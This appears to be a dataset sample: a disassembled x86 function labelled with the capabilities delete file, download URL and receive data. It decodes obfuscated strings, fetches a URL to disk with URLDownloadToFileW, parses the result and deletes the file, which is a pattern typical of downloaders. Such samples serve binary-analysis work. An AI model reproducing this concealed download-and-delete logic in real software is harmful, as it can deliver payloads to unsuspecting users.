Function at 0x4069b0
Capabilities:
Delete file
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x448a7d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], ecx
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x406ddc
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1c], eax
push 0x4582e4
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0
call fcn.00403500
test al, al
jne 0x406a15
push 0x10
push 0x4582e4
lea ecx, [ebp - 0x1c]
call fcn.00403990
mov dword [ebp - 4], 1
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x406de6
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x18], eax
push str.ZWNyXWdscXJwc2FyZ21scQ
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call fcn.00403500
test al, al
jne 0x406a5a
push 0x18
push str.ZWNyXWdscXJwc2FyZ21scQ
lea ecx, [ebp - 0x18]
call fcn.00403990
mov byte [ebp - 4], 3
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x406df0
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x20], eax
push str.ZnJybnE4LS1uYV9ubnFybXBjLHExLF9rX3htbF91cSxhbWstdGNwcWdtbA
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 4
call fcn.00403500
test al, al
jne 0x406a9c
push 0x3c
push str.ZnJybnE4LS1uYV9ubnFybXBjLHExLF9rX3htbF91cSxhbWstdGNwcWdtbA
lea ecx, [ebp - 0x20]
call fcn.00403990
push ecx
mov byte [ebp - 4], 5
mov ecx, esp
mov dword [ebp - 0x24], esp
push 0x45749e
call fcn.00402d50
push ecx
mov byte [ebp - 4], 6
mov edi, esp
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], esp
add eax, 0xfffffff0
push ecx
mov esi, esp
mov ecx, eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x34], eax
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
mov byte [ebp - 4], 7
mov edi, esp
mov eax, dword [ebp - 0x1c]
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 0x28], esi
mov ecx, eax
mov dword [ebp - 0x28], eax
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 5
call fcn.00406480
add esp, 0xc
call fcn.00401600
test eax, eax
je 0x406ddc
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
push 0x45833c
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 8
call fcn.00403500
test al, al
jne 0x406b51
push 0
push 0x45833c
lea ecx, [ebp - 0x10]
call fcn.00403990
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 9
push eax
lea ecx, [ebp - 0x14]
call fcn.004051a0
add esp, 4
mov byte [ebp - 4], 0xb
or ebx, 0xffffffff
mov edx, dword [ebp - 0x10]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406b85
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0
push 0
push dword [ebp - 0x14]
push ecx
mov esi, esp
mov dword [ebp - 0x24], esi
mov edi, dword [ebp - 0x20]
add edi, 0xfffffff0
mov ecx, edi
mov dword [ebp - 0x10], edi
call fcn.004037d0
add eax, 0x10
lea ecx, [ebp - 0x24]
mov dword [esi], eax
call fcn.00402190
add esp, 4
push dword [eax]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov edx, dword [ebp - 0x24]
mov esi, eax
add edx, 0xfffffff0
mov ecx, ebx
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x406bd8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test esi, esi
jne 0x406c93
push 0x4583bc
push dword [ebp - 0x14]
call fcn.0042ce42
mov esi, eax
add esp, 8
test esi, esi
je 0x406c85
mov edx, esi
lea ecx, [ebp - 0x24]
call fcn.00406770
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x24]
cmp dword [ecx - 0xc], 0
je 0x406c5e
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
push eax
call fcn.00409670
mov edx, esi
lea ecx, [ebp - 0x10]
call fcn.00406770
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0x10]
cmp dword [eax - 0xc], 0
je 0x406c43
mov ecx, dword [ebp - 0x30]
lea eax, [ebp - 0x10]
push eax
call fcn.00409670
mov eax, dword [ebp - 0x10]
lea edx, [eax - 0x10]
mov byte [ebp - 4], 0xc
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406c5e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push esi
call fcn.0042c35b
mov byte [ebp - 4], 0xb
add esp, 4
mov edx, dword [ebp - 0x24]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406c85
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x406d5e
call fcn.00401600
test eax, eax
je 0x406ddc
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x24], eax
push 0x4583c0
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0xe
call fcn.00403500
test al, al
jne 0x406cd1
push 0x18
push 0x4583c0
lea ecx, [ebp - 0x24]
call fcn.00403990
push ecx
mov byte [ebp - 4], 0xf
mov ecx, esp
mov dword [ebp - 0x2c], esp
push 0x45749f
call fcn.00402d50
push ecx
mov byte [ebp - 4], 0x10
mov edi, esp
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], esp
add eax, 0xfffffff0
push ecx
mov esi, esp
mov ecx, eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], eax
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
mov edi, esp
mov byte [ebp - 4], 0x11
push ecx
mov ecx, dword [ebp - 0x28]
mov esi, esp
mov dword [ebp - 0x3c], esi
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 0xf
call fcn.00406480
mov edx, dword [ebp - 0x30]
add esp, 0xc
mov byte [ebp - 4], 0xb
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406d5b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x10]
mov byte [ebp - 4], 5
mov eax, ebx
mov edx, dword [ebp - 0x14]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406d7c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 3
mov eax, ebx
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x406d94
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x34]
mov eax, ebx
mov byte [ebp - 4], 1
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406daf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
lock xadd dword [edx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x406dcb
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
int3